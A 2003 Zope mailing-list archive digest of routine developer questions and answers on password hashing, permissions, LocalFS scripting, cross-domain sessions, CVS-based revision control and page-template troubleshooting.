+0000 Anitha George wrote: > Passwords can be encrypted/decrypted using Rotor-a biult in python > module...More details given in python documentation...Not much sure now > secure it is.. > > Anitha > _________________________________________________________________ > Help STOP SPAM with the new MSN 8 and get 2 months FREE* Yeah, sure ;-) -- The time has come to start talking about whether the emperor is as well dressed as we are supposed to think he is. /Pete McBreen/ From peter at sabaini.at Tue Aug 12 15:24:06 2003 From: peter at sabaini.at (Peter Sabaini) Date: Tue Aug 12 08:25:59 2003 Subject: [Zope] DO NOT: Encrypt/decrypt passwords in zope using rotor ;-) In-Reply-To: <1461820360.1060684944@[172.16.8.4]> References: <1461820360.1060684944@[172.16.8.4]> Message-ID: <3F38DC66.9070204@sabaini.at> Stefan H. Holek wrote: > Hi Anitha! > > Zope provides the AccessControl.AuthEncoding module for password > encryption and validation. The default algorithm, SSHA, is very secure. IANACE (i am not a crypto expert) but AuthEncoding only provides one-way hashes i think? if you need to do it both ways http://eevolved.com/cryptkit/ provides a Rijndael cipher implementation, or look at the vaults crypto page: http://py.vaults.ca/parnassus/apyllo.py/514463245.94738404 - peter. > Stefan > > > --On Dienstag, 12. August 2003 05:31 +0000 Anitha George > wrote: > >> Passwords can be encrypted/decrypted using Rotor-a biult in python >> module...More details given in python documentation...Not much sure now >> secure it is.. >> >> Anitha > >> _________________________________________________________________ >> Help STOP SPAM with the new MSN 8 and get 2 months FREE* > > > Yeah, sure ;-) you gotta have faith! -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 3461 bytes Desc: S/MIME Cryptographic Signature Url : http://lists.zope.org/pipermail/zope/attachments/20030812/731580d7/smime.bin From tillea at rki.de Tue Aug 12 15:43:45 2003 From: tillea at rki.de (Andreas Tille) Date: Tue Aug 12 08:45:00 2003 Subject: [Zope] No module named GenericUserFolder Message-ID: Hi, I wanted to follow the hint about customizing the cache of an ZSQL method given in the Zope Book at chapter Relational Databases. When I try to press the Advanced tab of a ZSQL method I get: Error Type: ImportError Error Value: No module named GenericUserFolder Regarding to http://www.zope.org/Members/Zen/GenericUserFolder it seems that this is a remainder from some previous code which should not really belong to Zope 2.6.1 which I'm using. Or is there any other problem? Kind regards Andreas. From giuseppe.bonelli at tiscalinet.it Tue Aug 12 15:50:58 2003 From: giuseppe.bonelli at tiscalinet.it (Giuseppe Bonelli) Date: Tue Aug 12 08:51:42 2003 Subject: [Zope] urllib permission setting when accessing a zope ob from python Message-ID: Hi all, I have a problem with a permission setting when accessing a zope object from python code, namely with urllib. Here is my situation: I have a method which call an xslt transform (using 4Suite, if that matters) and everything goes well unless when the xslt import another xsl via (yes, the URI passed for resolving imports is correct). In this case, an extra authorization step is required from whiten the python console (_not_ through Zope login widget), after which everything works normally. In the log I have the following entry: 127.0.0.1 - Anonymous [12/Aug/2003:13:58:25 +0200] "GET styleSheet.xsl HTTP/1.0" 401 803 "" "Python-urllib/1.15" Obviously I already authenticated myself when starting the Zope session. Since the app should be deployed securely, I have disabled all anon role access (and transferred the relevant permission settings to the authenticated role). I am probably missing something very simple, ... but I don't get it !! Any ideas ? TIA, __peppo From SamirMishra at cbuae.gov.ae Tue Aug 12 17:58:11 2003 From: SamirMishra at cbuae.gov.ae (Samir Mishra) Date: Tue Aug 12 09:04:38 2003 Subject: [Zope] Folder name from URL etc. Message-ID: <211AD0070D42D1118C7B00A024FF19AE2EBF12@AUHEXCH> Hello all, How do I go from a URL to an object name? I have acl_users folders defined at different levels and I would like to use AUTHENTICATION_PATH to find out what level a user has authorization up to. At each folder level I have a 'Messages' folder and I'd like to display the contents of the correct folder depending on the users' clearance/home folder. TIA. Regards, Samir From lists at elvix.com Tue Aug 12 16:12:09 2003 From: lists at elvix.com (=?ISO-8859-15?B?R2VpciBC5mtob2x0?=) Date: Tue Aug 12 09:09:07 2003 Subject: [Zope] Folder name from URL etc. In-Reply-To: <211AD0070D42D1118C7B00A024FF19AE2EBF12@AUHEXCH> References: <211AD0070D42D1118C7B00A024FF19AE2EBF12@AUHEXCH> Message-ID: <355492584.20030812151209@elvix.com> On Tue, 12 Aug 2003 16:58:11 +0400 GMT (..14:58 where i live(GMT+2) ) Samir Mishra asked the Zope mailinglist about the following: > Hello all, > How do I go from a URL to an object name? I have acl_users folders defined > at different levels and I would like to use AUTHENTICATION_PATH to find out > what level a user has authorization up to. At each folder level I have a > 'Messages' folder and I'd like to display the contents of the correct folder > depending on the users' clearance/home folder. look for restricted_traverse in the API documentation :) -- Geir B?kholt From michael at bleijerveld.nl Tue Aug 12 16:15:40 2003 From: michael at bleijerveld.nl (Michael Bleijerveld) Date: Tue Aug 12 09:15:51 2003 Subject: [Zope] Python get LocalFS objects in subfolder Message-ID: <006f01c360d3$d41a5f90$9700000a@MICHAEL> Hi all, I am trying to get the fileValues in a LocalFS subfolder with the name admin but the following statements don't work. from AccessControl import getSecurityManager user = getSecurityManager().getUser() username = user.getUserName() return 'container.%s.fileValues()' % username The result is container.admin.fileValues() but is has to be [, ]. Anyone suggestions ? Thanks in advance. Michael Bleijerveld From rawbobb at hotmail.com Tue Aug 12 09:43:10 2003 From: rawbobb at hotmail.com (Bobb) Date: Tue Aug 12 09:52:31 2003 Subject: [Zope] FYI: Zope Article in Infoworld Message-ID: http://www.infoworld.com/article/03/08/01/30OPstrategic_1.html Bravo Casey and Tim. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030812/57a4e1b7/attachment.htm From mj at zope.com Tue Aug 12 11:02:39 2003 From: mj at zope.com (Martijn Pieters) Date: Tue Aug 12 10:03:23 2003 Subject: [Zope] Info In-Reply-To: <1060665974.497.10.camel@jerry.westrick.local> References: <3F384577.2070904@xfr.co.uk> <1060665974.497.10.camel@jerry.westrick.local> Message-ID: <20030812140239.GT8782@zope.com> On Tue, Aug 12, 2003 at 07:26:14AM +0200, Jerry Westrick wrote: > if it now works, Try rebooting the machine, and checking > weither it reappers... As mentioned by someone else on this list, it is a misconfiguration of an ISP proxy or a DNS server. The webmaster@zope.org alias has received many more questions, pleas and legal threats about the slip-up. -- Martijn Pieters | Software Engineer mailto:mj@zope.com | Zope Corporation http://www.zope.com/ | Creators of Zope http://www.zope.org/ --------------------------------------------- From mj at zope.com Tue Aug 12 11:04:14 2003 From: mj at zope.com (Martijn Pieters) Date: Tue Aug 12 10:04:38 2003 Subject: [Zope] FYI: Zope Article in Infoworld In-Reply-To: References: Message-ID: <20030812140414.GU8782@zope.com> On Tue, Aug 12, 2003 at 08:43:10AM -0400, Bobb wrote: > http://www.infoworld.com/article/03/08/01/30OPstrategic_1.html > > Bravo Casey and Tim. Er, you meant to say Casey and *Jim*, right? :) We can all congratualate Tim anyway, just because, of course. ;) -- Martijn Pieters | Software Engineer mailto:mj@zope.com | Zope Corporation http://www.zope.com/ | Creators of Zope http://www.zope.org/ --------------------------------------------- From pw_lists at slinkp.com Tue Aug 12 11:09:21 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Tue Aug 12 10:10:13 2003 Subject: [Zope] Enhanced user tracking and security products in zope? In-Reply-To: <20030812054751.35631.qmail@web8107.mail.in.yahoo.com> References: <20030812052607.GA2503@slinkp.com> <20030812054751.35631.qmail@web8107.mail.in.yahoo.com> Message-ID: <20030812140921.GA1072@slinkp.com> On Tue, Aug 12, 2003 at 06:47:51AM +0100, Exteam wrote: > 2) indication of which pages were most frequented by a > certain users, clicks made, etc. Statistics can be calculated from the zope access logs (by default, called Z2.log). Use any http log analysis program to generate stats from the logfile. I use analog. To serve the analog-generated stats with zope, I put them in a directory served by LocalFS. That said, I haven't figured out how to track specific pages visited by specific users. I'm not sure if analog can get that detailed. Note that in some versions of zope, there was a formatting bug in the http log output (an extra space near the beginning of the line). AFAICT this did not exist in zope 2.5.1, did exist in 2.6.1, and seems to be fixed by zope 2.6.2 beta 3. I worked around the bug with the following line in my analog config: LOGFORMAT (%S - %u [%d/%M/%Y:%h:%n:%j %j] "%j %r %j" %c %b "%f" "%B") Another issue I haven't addressed yet, is that these stats show the raw URL requests - including the long URLs used by Virtual HOst Monster. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's KABUKI WARRIOR PSYCHO-DESTRUCTION! (random hero from isometric.spaceninja.com) From zope at dylanreinhardt.com Tue Aug 12 15:10:59 2003 From: zope at dylanreinhardt.com (Dylan Reinhardt) Date: Tue Aug 12 10:11:01 2003 Subject: [Zope] Info In-Reply-To: <20030812140239.GT8782@zope.com> References: <3F384577.2070904@xfr.co.uk> <1060665974.497.10.camel@jerry.westrick.local> <20030812140239.GT8782@zope.com> Message-ID: <1060697418.6429.3.camel@ida.dylanreinhardt.com> Judging by Apache's FAQ, it would seem that this issue has arisen for them a few times as well: http://httpd.apache.org/docs/misc/FAQ.html#domination In future releases of Zope, it may be a good idea to incorporate some kind of "If you are seeing this page instead of the page you expected" information near the top of the Zope default page. FWIW, Dylan On Tue, 2003-08-12 at 07:02, Martijn Pieters wrote: > On Tue, Aug 12, 2003 at 07:26:14AM +0200, Jerry Westrick wrote: > > if it now works, Try rebooting the machine, and checking > > weither it reappers... > > As mentioned by someone else on this list, it is a misconfiguration of an > ISP proxy or a DNS server. The webmaster@zope.org alias has received many > more questions, pleas and legal threats about the slip-up. From pw_lists at slinkp.com Tue Aug 12 11:10:56 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Tue Aug 12 10:11:51 2003 Subject: [Zope] Folder name from URL etc. In-Reply-To: <355492584.20030812151209@elvix.com> References: <211AD0070D42D1118C7B00A024FF19AE2EBF12@AUHEXCH> <355492584.20030812151209@elvix.com> Message-ID: <20030812141056.GB1072@slinkp.com> On Tue, Aug 12, 2003 at 03:12:09PM +0200, Geir B?kholt wrote: > look for restricted_traverse in the API documentation :) You may have better luck looking for restrictedTraverse ;-) There is also unrestrictedTraverse. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's DJ FROM PARIS! (random hero from isometric.spaceninja.com) From r.rapoport at fi.com Tue Aug 12 08:30:18 2003 From: r.rapoport at fi.com (Roy Rapoport) Date: Tue Aug 12 10:33:06 2003 Subject: [Zope] Synchronizing Two (Disparate) Zope Installations Message-ID: <9529EF5D791B794DB3CFAE1635F0805B0CA94835@goldfish.fi.com> Paul Winkler wrote: > i can see how you'd get that impression, but in fact the current > CVS version has some (small) enhancements over the last release, > and I've got a bunch of stuff to check in as soon as it's > tested a bit > more thoroughly - I'm hoping to put together a new release sometime > this month. Notably, I now have a recursive comparison mode working, > so it can show differences below the current folder. Oh heck, I'm sorry Paul -- I thought Andy was still the authoritative owner of ZSyncer, and he mentioned he wasn't working on it much anymore. I meant no offense. > > requires the directory path to be the same. > > hmm, that could probably change pretty easily. nobody's ever asked > about this before, AFAIK. I'll see if I can get to that. That would be amazingly nice. Let me know if there's an Amazon wishlist we can contribute to to further motivate you :) -roy Content-Type: text/plain; charset="iso-8859-1" ------------------------------------------------- PLEASE READ THIS WARNING: All e-mail sent to or from this address will be received or otherwise recorded by the Fisher Investments corporate e-mail system and is subject to archival, monitoring or review by, and/or disclosure to, someone other than the recipient. From pw_lists at slinkp.com Tue Aug 12 11:40:29 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Tue Aug 12 10:41:22 2003 Subject: [Zope] Python get LocalFS objects in subfolder In-Reply-To: <006f01c360d3$d41a5f90$9700000a@MICHAEL> References: <006f01c360d3$d41a5f90$9700000a@MICHAEL> Message-ID: <20030812144029.GD1072@slinkp.com> On Tue, Aug 12, 2003 at 03:15:40PM +0200, Michael Bleijerveld wrote: > Hi all, > > I am trying to get the fileValues in a LocalFS subfolder with the name admin > but the following statements don't work. > > from AccessControl import getSecurityManager > user = getSecurityManager().getUser() > username = user.getUserName() > > return 'container.%s.fileValues()' % username > > The result is container.admin.fileValues() well, sure... you built a string and returned it; the string happens to resemble python code but that doesn't mean it magically gets interpreted ;-) > but is has to be [ instance at 018A0210>, ]. > > Anyone suggestions ? you might try: return container[username].fileValues() or maybe u = getattr(container, username) return u.fileValues() -- Paul Winkler http://www.slinkp.com From michael at bleijerveld.nl Tue Aug 12 18:04:09 2003 From: michael at bleijerveld.nl (Michael Bleijerveld) Date: Tue Aug 12 11:04:13 2003 Subject: [Zope] Python get LocalFS objects in subfolder References: <006f01c360d3$d41a5f90$9700000a@MICHAEL> <20030812144029.GD1072@slinkp.com> Message-ID: <018f01c360e2$fc07c970$9700000a@MICHAEL> Thanks Paul. It works perfectly. Michael ----- Original Message ----- From: "Paul Winkler" To: Sent: Tuesday, August 12, 2003 4:40 PM Subject: Re: [Zope] Python get LocalFS objects in subfolder > On Tue, Aug 12, 2003 at 03:15:40PM +0200, Michael Bleijerveld wrote: > > Hi all, > > > > I am trying to get the fileValues in a LocalFS subfolder with the name admin > > but the following statements don't work. > > > > from AccessControl import getSecurityManager > > user = getSecurityManager().getUser() > > username = user.getUserName() > > > > return 'container.%s.fileValues()' % username > > > > The result is container.admin.fileValues() > > well, sure... you built a string and returned it; the string > happens to resemble python code but that doesn't mean it > magically gets interpreted ;-) > > > but is has to be [ > instance at 018A0210>, ]. > > > > Anyone suggestions ? > > you might try: > > return container[username].fileValues() > > or maybe > > u = getattr(container, username) > return u.fileValues() > > -- > > Paul Winkler > http://www.slinkp.com > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > From ben at center7.com Tue Aug 12 10:13:07 2003 From: ben at center7.com (Ben Bush) Date: Tue Aug 12 11:13:16 2003 Subject: [Fwd: [Zope] Sessions between domains] Message-ID: <3F390403.30004@center7.com> I am wondering how others have solved this problem. Are people using cookies between the 2 sites (I would like to avoid this) or are people writing this info to a database? Any help would be much appreciated. Thanks, -------- Original Message -------- Subject: [Zope] Sessions between domains Date: Fri, 08 Aug 2003 15:41:47 -0600 From: Ben Bush To: zope@zope.org I have one web server that I am using with zope running on the same box. I want to know how I could transfer session info from one url at www.domain.com to my secure site at secure.domain.com. As far as I can tell, I don't have access to the same session data. This is for a shoppping cart app that would have a user back and forth but I want to maintain the contents of the cart no matter where they may be. Thanks, -- Ben Bush Center 7, Systems Administrator 801-655-2640 _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) -- Ben Bush Center 7, Systems Administrator 801-655-2640 From robertjean2 at yahoo.com Tue Aug 12 10:00:46 2003 From: robertjean2 at yahoo.com (Robert Jean) Date: Tue Aug 12 12:01:21 2003 Subject: [Zope] RevisionManager Message-ID: <20030812160046.96051.qmail@web41812.mail.yahoo.com> Hello, I have a question regarding RevisionManager version 1.3.2. Here is my configuration: CVSNT version 2.0.8 is installed on a Windows XP server (server01.mycompany.com). CVSNT version 2.0.8 is installed on a Windows XP workstation (c01.mycompany.com). I can use the CVS repository hosted by server01 from c01 in a DOS prompt: >set cvsroot=:pserver:robert@server01.mycompany.com:/test >cvs login ... (enter password) ... >cvs checkout yoyo/rdir/myfile.htm And the file gets checked out. I instantiated a RevisionManager in a Zope instance hosted by c01: Server address: server01.mycompany.com Repository path: c:\cvsrepo (this is the path on server01 – is it correct?) Module name: test Access method: pserver Username: robert Password: mypassword CVS executable: “c:\program files\cvsnt\cvs.exe” RSH exec: (* not set *) Compression level: 3 Include ZODB history: yes Debug mode: unchecked I had to create a directory c:\tmp to instantiate a RevisionManager. Before doing that, I got errors. I deleted the original RevisionManager and re-created a brand new one. Everything looks fine. I can add objects to my RevisionManager, and files get created in c:\program files\myzope\var\RevisionManager\temp\test together with “.properties” files. But now, it looks like that I cannot create or check in files in my repository hosted by server01. I have no error, but nothing happens. There are 2 things that bother me: 1) I haven’t created an explicit home directory for the user running Zope (username Owner – it is a privileged user who has full control over the machine). Is it something I should do? If yes, how to do it? 2) I am a bit confused by this repository path... is it on the server (server01) or on the client (c01)? Thank you very much for your help, Robert __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From pw_lists at slinkp.com Tue Aug 12 13:17:40 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Tue Aug 12 12:18:35 2003 Subject: [Zope] Synchronizing Two (Disparate) Zope Installations In-Reply-To: <9529EF5D791B794DB3CFAE1635F0805B0CA94835@goldfish.fi.com> References: <9529EF5D791B794DB3CFAE1635F0805B0CA94835@goldfish.fi.com> Message-ID: <20030812161740.GB5671@slinkp.com> On Tue, Aug 12, 2003 at 07:30:18AM -0700, Roy Rapoport wrote: > Oh heck, I'm sorry Paul -- I thought Andy was still the authoritative owner > of ZSyncer, and he mentioned he wasn't working on it much anymore. I meant > no offense. none taken - i haven't even checked anything in to cvs in a month or so, and there hasn't been a new tarball in a loooooong time. > > > requires the directory path to be the same. > > > > hmm, that could probably change pretty easily. nobody's ever asked > > about this before, AFAIK. I'll see if I can get to that. > > That would be amazingly nice. Let me know if there's an Amazon wishlist we > can contribute to to further motivate you :) heheh, i'll go write one up :-) -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's ULTRA BOXER MANAGER! (random hero from isometric.spaceninja.com) From rawbobb at hotmail.com Tue Aug 12 13:53:05 2003 From: rawbobb at hotmail.com (Bobb) Date: Tue Aug 12 12:58:05 2003 Subject: [Zope] FYI: Zope Article in Infoworld References: <20030812140414.GU8782@zope.com> Message-ID: Doah.! Thanks Martijn. ----- Original Message ----- From: "Martijn Pieters" To: "Bobb" Cc: Sent: Tuesday, August 12, 2003 10:04 AM Subject: Re: [Zope] FYI: Zope Article in Infoworld > On Tue, Aug 12, 2003 at 08:43:10AM -0400, Bobb wrote: > > http://www.infoworld.com/article/03/08/01/30OPstrategic_1.html > > > > Bravo Casey and Tim. > > Er, you meant to say Casey and *Jim*, right? :) We can all congratualate Tim > anyway, just because, of course. ;) > > -- > Martijn Pieters > | Software Engineer mailto:mj@zope.com > | Zope Corporation http://www.zope.com/ > | Creators of Zope http://www.zope.org/ > --------------------------------------------- > From michael at bleijerveld.nl Tue Aug 12 20:22:54 2003 From: michael at bleijerveld.nl (Michael Bleijerveld) Date: Tue Aug 12 13:22:59 2003 Subject: [Zope] Python script returning link to local file Message-ID: <023a01c360f6$5dc811c0$9700000a@MICHAEL> Hi, I want to use a Python script for returning a link to a local file (in a LocalFS object) in ZPT. The parameter given is the id of the file and is named file. from AccessControl import getSecurityManager user = getSecurityManager().getUser() username = user.getUserName() return container[username].[file] This doesn't work. Is it a reference problem ? Regards, Michael From mark at zopemag.com Tue Aug 12 20:42:12 2003 From: mark at zopemag.com (mark pratt) Date: Tue Aug 12 13:41:32 2003 Subject: [Zope] ZopeMag topics / writers wanted Message-ID: <4E0CE0EE-CCEC-11D7-8CB4-000A95A1736A@zopemag.com> Dear Zope Users and Developers, We would like to announce the ZopeMag's topic page: http://www.zopemag.com/topics.html where those interested in writing about Zope can see what topics we are looking to publish. To learn more about the effort ZopeMag's staff put into each article we publish please see the tour: http://www.zopemag.com/tour_article.html And to review our writer's guidelines please see: http://www.zopemag.com/writefor.html Thanks, Mark and the rest of the ZopeMag staff. -------------------------------------------------------- ZopeMag - the only (online) Magazine devoted to Zope Do you iChatAV? If you have a question or a comment about ZopeMag you can contact me via my .mac name "markpratt". From cleonello at yahoo.com Tue Aug 12 12:18:18 2003 From: cleonello at yahoo.com (Chris Leonello) Date: Tue Aug 12 14:18:58 2003 Subject: [Zope] Zope hangs trying to edit a page template in ZMI Message-ID: <20030812181818.49447.qmail@web42002.mail.yahoo.com> Hi, I have recently been testing Zope on Windows and Unix. On one of my machines, Zope will hang indefinitely whenever I try to edit a page template in the ZMI. I can create templates with no problem. I can view the template fine through a web browser, also. This happens on a HP-UX 11 machine with both Zope 2.6.1 and 2.6.2b5. I am running Python 2.2.3, and have not been able to get Python 2.1.3 compiled to see if it is a Python issue. There is no output in the zope server logs or in the ZMI when this hang happens. The browser will sit and wait to recieve a web response and the python process will run forever eating up CPU cycles. Output from the debug log follows: B 1087353656 2003-08-12T13:37:23 GET /dbtest/atemplate/manage_workspace I 1087353656 2003-08-12T13:37:23 0 A 1087353656 2003-08-12T13:37:24 302 431 E 1087353656 2003-08-12T13:37:24 B 1087353656 2003-08-12T13:37:24 GET /dbtest/atemplate/pt_editForm I 1087353656 2003-08-12T13:37:24 0 It looks like Zope is trying to fetch a script or execute a method (pt_editForm) on my page template object, but cannot locate it. I cannot find any pt_editForm script/method anywhere in the Zope installation. Any help would be appreciated. Thanks! ===== Chris Leonello cleonello@yahoo.com __________________________________ Do you Yahoo!? The New Yahoo! Search - Faster. Easier. Bingo. http://search.yahoo.com From ratem at censanet.com.br Tue Aug 12 17:17:56 2003 From: ratem at censanet.com.br (ratem@censanet.com.br) Date: Tue Aug 12 15:02:37 2003 Subject: [Zope] FYI: Zope based ERP5 project on IEEE IT Professional In-Reply-To: References: Message-ID: <1060715876.3f393d64a6c50@server1.censa.com.br> Hi, IEEE IT Professional July/August issue comes with an article about ERP5, an Open Source, Zope based ERP project. Check out in: http://www.computer.org/itpro/cover_stories/smets.htm and http://www.erp5.org Rogerio ------------------------------------------------- E-mail enviado pelo Webmail CensaNET http://www.censanet.com.br/webmail From dieter at handshake.de Tue Aug 12 22:32:43 2003 From: dieter at handshake.de (Dieter Maurer) Date: Tue Aug 12 16:43:59 2003 Subject: [Zope] Changing default content for DTML Documents? In-Reply-To: References: Message-ID: <16185.16603.815896.630602@gargle.gargle.HOWL> Alex Coventry wrote at 2003-8-11 17:44 -0400: > If you point Epoz at a newly created document, and click submit, the > result is the error 'Invalid attribute name, "standard_html_header", for > tag , on line 1 of test. This would be a bug (it is invalid DTML). Fix the code and file a bug report. Dieter From dieter at handshake.de Tue Aug 12 22:28:06 2003 From: dieter at handshake.de (Dieter Maurer) Date: Tue Aug 12 16:44:10 2003 Subject: [Zope] Source Control In-Reply-To: <20030811193113.61307.qmail@web41809.mail.yahoo.com> References: <20030811193113.61307.qmail@web41809.mail.yahoo.com> Message-ID: <16185.16326.858428.882752@gargle.gargle.HOWL> Robert Jean wrote at 2003-8-11 12:31 -0700: > ... > I am looking for a source control system for objects > stored in the ZODB. > > ZCVSFolder looks nice, but it is quite old and UNIX > only. We are running Windows and Zope 2.6. > > Any suggestion? A few days ago, I saw the announcement of a commercial product apparently claiming to be useful for that. Maybe, you search the mailing list archive. Dieter From dieter at handshake.de Tue Aug 12 22:55:03 2003 From: dieter at handshake.de (Dieter Maurer) Date: Tue Aug 12 16:44:20 2003 Subject: [Fwd: [Zope] Sessions between domains] In-Reply-To: <3F390403.30004@center7.com> References: <3F390403.30004@center7.com> Message-ID: <16185.17943.91696.808067@gargle.gargle.HOWL> Ben Bush wrote at 2003-8-12 09:13 -0600: > I am wondering how others have solved this problem. Are people using > cookies between the 2 sites (I would like to avoid this) or are people > writing this info to a database? Any help would be much appreciated. We serve several domains by the same (farm of) Zope instance. We avoid cookies (mainly because some customers disable them) and code session ids in the URL. Thus, we can transfer session information between domains (in a restricted way only, of course). Dieter From dieter at handshake.de Tue Aug 12 22:51:02 2003 From: dieter at handshake.de (Dieter Maurer) Date: Tue Aug 12 16:44:30 2003 Subject: [Zope] urllib permission setting when accessing a zope ob from python In-Reply-To: References: Message-ID: <16185.17702.367601.582082@gargle.gargle.HOWL> Giuseppe Bonelli wrote at 2003-8-12 14:50 +0200: > I have a problem with a permission setting when accessing a zope object > from python code, namely with urllib. > > Here is my situation: > I have a method which call an xslt transform (using 4Suite, if that > matters) and everything goes well unless when the xslt import another > xsl via (yes, the URI passed for > resolving imports is correct). > > In this case, an extra authorization step is required from whiten the > python console (_not_ through Zope login widget), after which everything > works normally. Apparently, the server serving "imported.xsl" challenges with an "Unauthorized" response. URLLIB does not have authentication information and asks via the console. Check the URLLIB documentation, maybe its source, how you can provide authentication information from the environment. Dieter From dieter at handshake.de Tue Aug 12 22:47:04 2003 From: dieter at handshake.de (Dieter Maurer) Date: Tue Aug 12 16:44:41 2003 Subject: [Zope] No module named GenericUserFolder In-Reply-To: References: Message-ID: <16185.17464.522796.625743@gargle.gargle.HOWL> Andreas Tille wrote at 2003-8-12 14:43 +0200: > I wanted to follow the hint about customizing the cache of an ZSQL method > given in the Zope Book at chapter Relational Databases. When I try to > press the Advanced tab of a ZSQL method I get: > > Error Type: ImportError > Error Value: No module named GenericUserFolder > > Regarding to > > http://www.zope.org/Members/Zen/GenericUserFolder > > it seems that this is a remainder from some previous code which should not > really belong to Zope 2.6.1 which I'm using. Or is there any other problem? A bug in ZSQL Method code: It traverses the product and ZClass registry and chokes when it finds something not working. Instead, if should log the problem and then continue. Determine the line in the ZSQL Method code that causes the exception (you look at the traceback for this). Catch exceptions other then "ConflictError", log them and continue. File a bug report with patch. Alternative: Remove products which no longer work from "Control_Panel/Products". Dieter From dieter at handshake.de Tue Aug 12 22:31:53 2003 From: dieter at handshake.de (Dieter Maurer) Date: Tue Aug 12 16:44:50 2003 Subject: [Zope] Zope caching method results?? In-Reply-To: <8D0E60044699BB499447ED91DA3F3E2F7A02@rp150.uwsa.edu> References: <8D0E60044699BB499447ED91DA3F3E2F7A02@rp150.uwsa.edu> Message-ID: <16185.16553.488891.935612@gargle.gargle.HOWL> John Toews wrote at 2003-8-11 16:22 -0500: > I have an external method that is using a class I've written. The class > uses another module (dbxml for the Berkeley XML database). > > It _appears_ as if Zope is caching function results from the dbxml > module. The data doesn't change, but the memory address does. > > tmpXmlResults = self._manifest.queryWithXPath(resourceXpath, > self._manifestcontext) > > The code runs perfectly if run outside of Zope simply on the command > line. > > Is there any sort of caching that Zope does of non-product Python > objects? Or function results? Etc.? I am quite convinced that Zope does not automatically cache the result of External Method calls. However, I remember to have read a similar complaint to yours in the mailing list. Thus, they may be a low probability of a bug. Much more likely is that there is some HTTP cache that caches your page and does not consult Zope at all. Such problems are easily uncovered when you request your browser to load the page without using any caches. Dieter From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Tue Aug 12 17:45:45 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon@CCRS.NRCan.gc.ca) Date: Tue Aug 12 16:46:02 2003 Subject: [Zope] Source Control Message-ID: <7CDD7B94357FD5119E800002A537C46E23093A@s5-ccr-r1.ccrs.nrcan.gc.ca> Try looking at the RevisionManager product ? I haven't used it myself, but my reading on it suggests it should do what you want ... J.F. -----Original Message----- From: Robert Jean [mailto:robertjean2@yahoo.com] Sent: Monday, August 11, 2003 3:31 PM To: zope@zope.org Subject: [Zope] Source Control Hello, I am looking for a source control system for objects stored in the ZODB. ZCVSFolder looks nice, but it is quite old and UNIX only. We are running Windows and Zope 2.6. Any suggestion? Thanks, Robert __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From dman at dman13.dyndns.org Tue Aug 12 17:50:30 2003 From: dman at dman13.dyndns.org (Derrick 'dman' Hudson) Date: Tue Aug 12 16:50:35 2003 Subject: [Zope] accessing attributes of a referenced object via ZPT Message-ID: <20030812205030.GA19360@dman13.dyndns.org> I am trying to make a nice display of some objects using ZPT. These objects refer (by storing the path as a string) to other objects and I want to display an attribute of the referred-to object in the display. What is the best design to achieve this? The following ZPT code works, but I highly doubt it is the best design :-)
Subject Subject goes here
Course Title CourseTitle goes here
tal:content="files/id">HOME TITLE OR ID
The file
Would it be best to write a python script that iterates over the actual objects creating a "mirror" object for each that contains the attributes to be displayed (without the intermediate references) and let the ZPT handle only the mirror objects? TIA, -D -- If we claim to be without sin, we deceive ourselves and the truth is not in us. I John 1:8 http://dman13.dyndns.org/~dman/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030812/db9f1d38/attachment.bin From dman at dman13.dyndns.org Tue Aug 12 17:56:27 2003 From: dman at dman13.dyndns.org (Derrick 'dman' Hudson) Date: Tue Aug 12 16:56:32 2003 Subject: [Zope] Re: Python script returning link to local file In-Reply-To: <023a01c360f6$5dc811c0$9700000a@MICHAEL> References: <023a01c360f6$5dc811c0$9700000a@MICHAEL> Message-ID: <20030812205627.GA19735@dman13.dyndns.org> On Tue, Aug 12, 2003 at 07:22:54PM +0200, Michael Bleijerveld wrote: | Hi, | | I want to use a Python script for returning a link to a local file (in a | LocalFS object) in ZPT. | The parameter given is the id of the file and is named file. | | from AccessControl import getSecurityManager | user = getSecurityManager().getUser() | username = user.getUserName() | | return container[username].[file] ^^ | This doesn't work. Is it a reference problem ? The above is a syntax error. You probably meant to write return container[username][file] (no '.'), but I can't say for certain because I don't have experience with LocalFS. -D -- Do not be afraid of those who kill the body but cannot kill the soul. Rather be afraid of the One who can destroy both soul and body in hell. Matthew 10:28 http://dman13.dyndns.org/~dman/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030812/9bfb3f9f/attachment.bin From robertjean2 at yahoo.com Tue Aug 12 15:21:30 2003 From: robertjean2 at yahoo.com (Robert Jean) Date: Tue Aug 12 17:22:05 2003 Subject: [Zope] Source Control In-Reply-To: <7CDD7B94357FD5119E800002A537C46E23093A@s5-ccr-r1.ccrs.nrcan.gc.ca> Message-ID: <20030812212130.42779.qmail@web41802.mail.yahoo.com> Dieter, Jean-Francois, Thanks for 